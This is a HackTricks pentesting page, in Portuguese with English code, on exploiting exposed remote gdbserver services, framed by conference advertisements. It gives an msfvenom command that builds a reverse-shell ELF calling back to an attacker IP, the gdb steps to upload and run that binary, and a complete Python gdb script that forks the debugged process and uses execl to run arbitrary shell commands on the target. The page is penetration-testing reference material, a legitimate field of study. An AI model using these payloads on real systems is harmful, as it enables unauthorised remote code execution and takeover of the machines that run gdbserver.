hacktricks/network-services-pentesting/pentesting-remote-gdbserver.md

10 KiB

Pentesting Remote GdbServer

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década que será realizado nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de grande conteúdo técnico onde as últimas pesquisas em espanhol são apresentadas, atraindo hackers e pesquisadores de todo o mundo.
Registre-se agora no link abaixo e não perca esta grande conferência!:

{% embed url="https://www.dragonjarcon.org/" %}

Informações Básicas

gdbserver é um programa de computador que torna possível depurar remotamente outros programas. Executando no mesmo sistema que o programa a ser depurado, ele permite que o GNU Debugger se conecte a partir de outro sistema; ou seja, apenas o executável a ser depurado precisa estar residente no sistema de destino ("alvo"), enquanto o código-fonte e uma cópia do arquivo binário a ser depurado residem no computador local do desenvolvedor ("host"). A conexão pode ser TCP ou uma linha serial.

Você pode fazer um gdbserver ouvir em qualquer porta e no momento o nmap não é capaz de reconhecer o serviço.

Exploração

Upload e Execução

Você pode facilmente criar um backdoor elf com msfvenom, fazer upload e executá-lo:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Executar comandos arbitrários

Existe outra maneira de fazer o depurador executar comandos arbitrários por meio de um script personalizado em python retirado aqui.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Antes de tudo, crie localmente este script:

{% code title="remote-cmd.py" %}

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
    def __init__(self):
        self.addresses = {}

        self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
        gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

        gdb.execute("set detach-on-fork off")
        gdb.execute("set follow-fork-mode parent")

        gdb.execute("set max-value-size unlimited")
        gdb.execute("set pagination off")
        gdb.execute("set print elements 0")
        gdb.execute("set print repeats 0")

        super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

    def preload(self):
        for symbol in [
            "close",
            "execl",
            "fork",
            "free",
            "lseek",
            "malloc",
            "open",
            "read",
        ]:
            self.load(symbol)

    def load(self, symbol):
        if symbol not in self.addresses:
            address_string = gdb.execute(f"info address {symbol}", to_string=True)
            match = re.match(
                f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
            )
            if match and len(match.groups()) > 0:
                self.addresses[symbol] = match.groups()[0]
            else:
                raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

        return self.addresses[symbol]

    def output(self):
        # From `fcntl-linux.h`
        O_RDONLY = 0
        gdb.execute(
            f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
        )

        # From `stdio.h`
        SEEK_SET = 0
        SEEK_END = 2
        gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
        gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
        if int(gdb.convenience_variable("len")) <= 0:
            gdb.write("No output was captured.")
            return

        gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
        gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
        gdb.execute('printf "%s\\n", (char*) $mem')

        gdb.execute(f'call (int){self.load("close")}($fd)')
        gdb.execute(f'call (int){self.load("free")}($mem)')

    def invoke(self, arg, from_tty):
        try:
            self.preload()

            is_auto_solib_add = gdb.parameter("auto-solib-add")
            gdb.execute("set auto-solib-add off")

            parent_inferior = gdb.selected_inferior()
            gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
            child_pid = gdb.convenience_variable("child_pid")
            child_inferior = list(
                filter(lambda x: x.pid == child_pid, gdb.inferiors())
            )[0]
            gdb.execute(f"inferior {child_inferior.num}")

            try:
                gdb.execute(
                    f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
                )
            except gdb.error as e:
                if (
                    "The program being debugged exited while in a function called from GDB"
                    in str(e)
                ):
                    pass
                else:
                    raise e
            finally:
                gdb.execute(f"inferior {parent_inferior.num}")
                gdb.execute(f"remove-inferiors {child_inferior.num}")

            self.output()
        except Exception as e:
            gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
            raise e
        finally:
            gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

{% endcode %}

A Conferência de Segurança DragonJAR é um evento internacional de cibersegurança com mais de uma década de existência que será realizada nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento com grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atraem hackers e pesquisadores de todo o mundo.
Registre-se agora no seguinte link e não perca esta grande conferência!:

{% embed url="https://www.dragonjarcon.org/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥